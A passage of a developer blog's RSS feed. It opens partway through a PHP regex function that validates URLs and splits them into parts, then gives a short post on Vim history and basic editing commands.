&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [A-Za-z]{2}) &nbsp; &nbsp; &nbsp; &nbsp; # Country codes are exactly two alpha chars.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \.? &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Top level domain can end in a dot.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Anchor to end of string.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /ix'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'host'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'url'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$url</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">++</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#41;</span> <a href="http://www.php.net/unset"><span style="color: #990000;">unset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$m</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// return TRUE == array of useful named $matches plus the valid $url.</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>Have a nice day,<br />
Garry Lachman</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2011/10/27/phpregex-url-validation-split-to-elements/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2011/10/27/phpregex-url-validation-split-to-elements/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2011%2F10%2F27%2Fphpregex-url-validation-split-to-elements%2F&amp;title=PHP%2BREGEX%20%E2%80%93%20URL%20validation%20%26%20split%20to%20elements" id="wpa2a_18"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2011/10/27/phpregex-url-validation-split-to-elements/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vim &#8211; Developers Best Friend &#8211; VIM Basics!!!</title>
		<link>http://garry-lachman.com/2011/10/17/vim-developers-best-friend-vim-basics/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2011/10/17/vim-developers-best-friend-vim-basics/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 09:17:09 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[Developer Tools]]></category>
		<category><![CDATA[basics]]></category>
		<category><![CDATA[editor]]></category>
		<category><![CDATA[ide]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[posfix]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[vi]]></category>
		<category><![CDATA[vim]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=221</guid>
		<description><![CDATA[Hi, Most of the web developers found them self working in SSH mode without any IDE, i`m working in this mode over 2 years and found VIM my best friend. Its not a standard editor,  &#8230; <a href="http://garry-lachman.com/2011/10/17/vim-developers-best-friend-vim-basics/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2011%2F10%2F17%2Fvim-developers-best-friend-vim-basics%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<p>Hi,<br />
Most of the web developers found them self working in SSH mode without any IDE, i`m working in this mode over 2 years and found VIM my best friend.<br />
Its not a standard editor, in your first time and the second you will damn him and me for this advice but very its will be your best friend.</p>
<h3>History of vim (wikipedia)</h3>
<p>Vim is a text editor written in 1988 by Bram Moolenaar for the Amiga computer, but first released publicly (v1.14) in 1991. It was based on an earlier editor, Stevie, for the Atari ST, created by Tim Thompson, Tony Andrews and G.R. (Fred) Walter[original research?]. The name &#8220;Vim&#8221; is an acronym for &#8220;Vi IMproved&#8221; because Vim is an extended version of the vi editor, with many additional features designed to be helpful in editing program source code. Originally, the acronym stood for &#8220;Vi IMitation&#8221;, but that was changed with the release of Vim 2.0 in December 1993. A later comment states that the reason for changing the name was that Vim&#8217;s feature set surpassed that of vi.</p>
<h3>Basic use</h3>
<ul>
<li>When you enter you are in read mode, if you want to start write text press <strong>i</strong>.</li>
<li>use <strong>&#8216;Esc&#8217;</strong> button to exit each mode</li>
<li>save &amp; quit: press <strong>&#8216;Esc&#8217;</strong> to exit write mode than for save only press <strong>:w</strong> and quite press <strong>:q</strong>, save &amp; quite <strong>:wq</strong> and quite without saving <strong>:q!</strong></li>
<li>for search press <strong>/</strong> and the word to search: <strong>/something to search</strong>, use <strong>n</strong> for next</li>
<li>for search and replace without confirm every replace: <strong>:%s/findme/replacewith/g</strong> with confirm <strong>:%s/findme/replacewith/gc</strong></li>
<li>for remove current line: <strong>dd</strong></li>
<li>undo last change <strong>u</strong></li>
</ul>
<p><img src="http://4.bp.blogspot.com/_EypLYtbgUbs/SrexTwTTJPI/AAAAAAAAACI/rNonij_I82w/s320/vim-logo.png" alt="" /><br />
This is the basics of VIM Editor.<br />
Have fun <img src='http://garry-lachman.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Garry</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2011/10/17/vim-developers-best-friend-vim-basics/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2011/10/17/vim-developers-best-friend-vim-basics/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2011%2F10%2F17%2Fvim-developers-best-friend-vim-basics%2F&amp;title=Vim%20%E2%80%93%20Developers%20Best%20Friend%20%E2%80%93%20VIM%20Basics%21%21%21" id="wpa2a_20"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2011/10/17/vim-developers-best-friend-vim-basics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

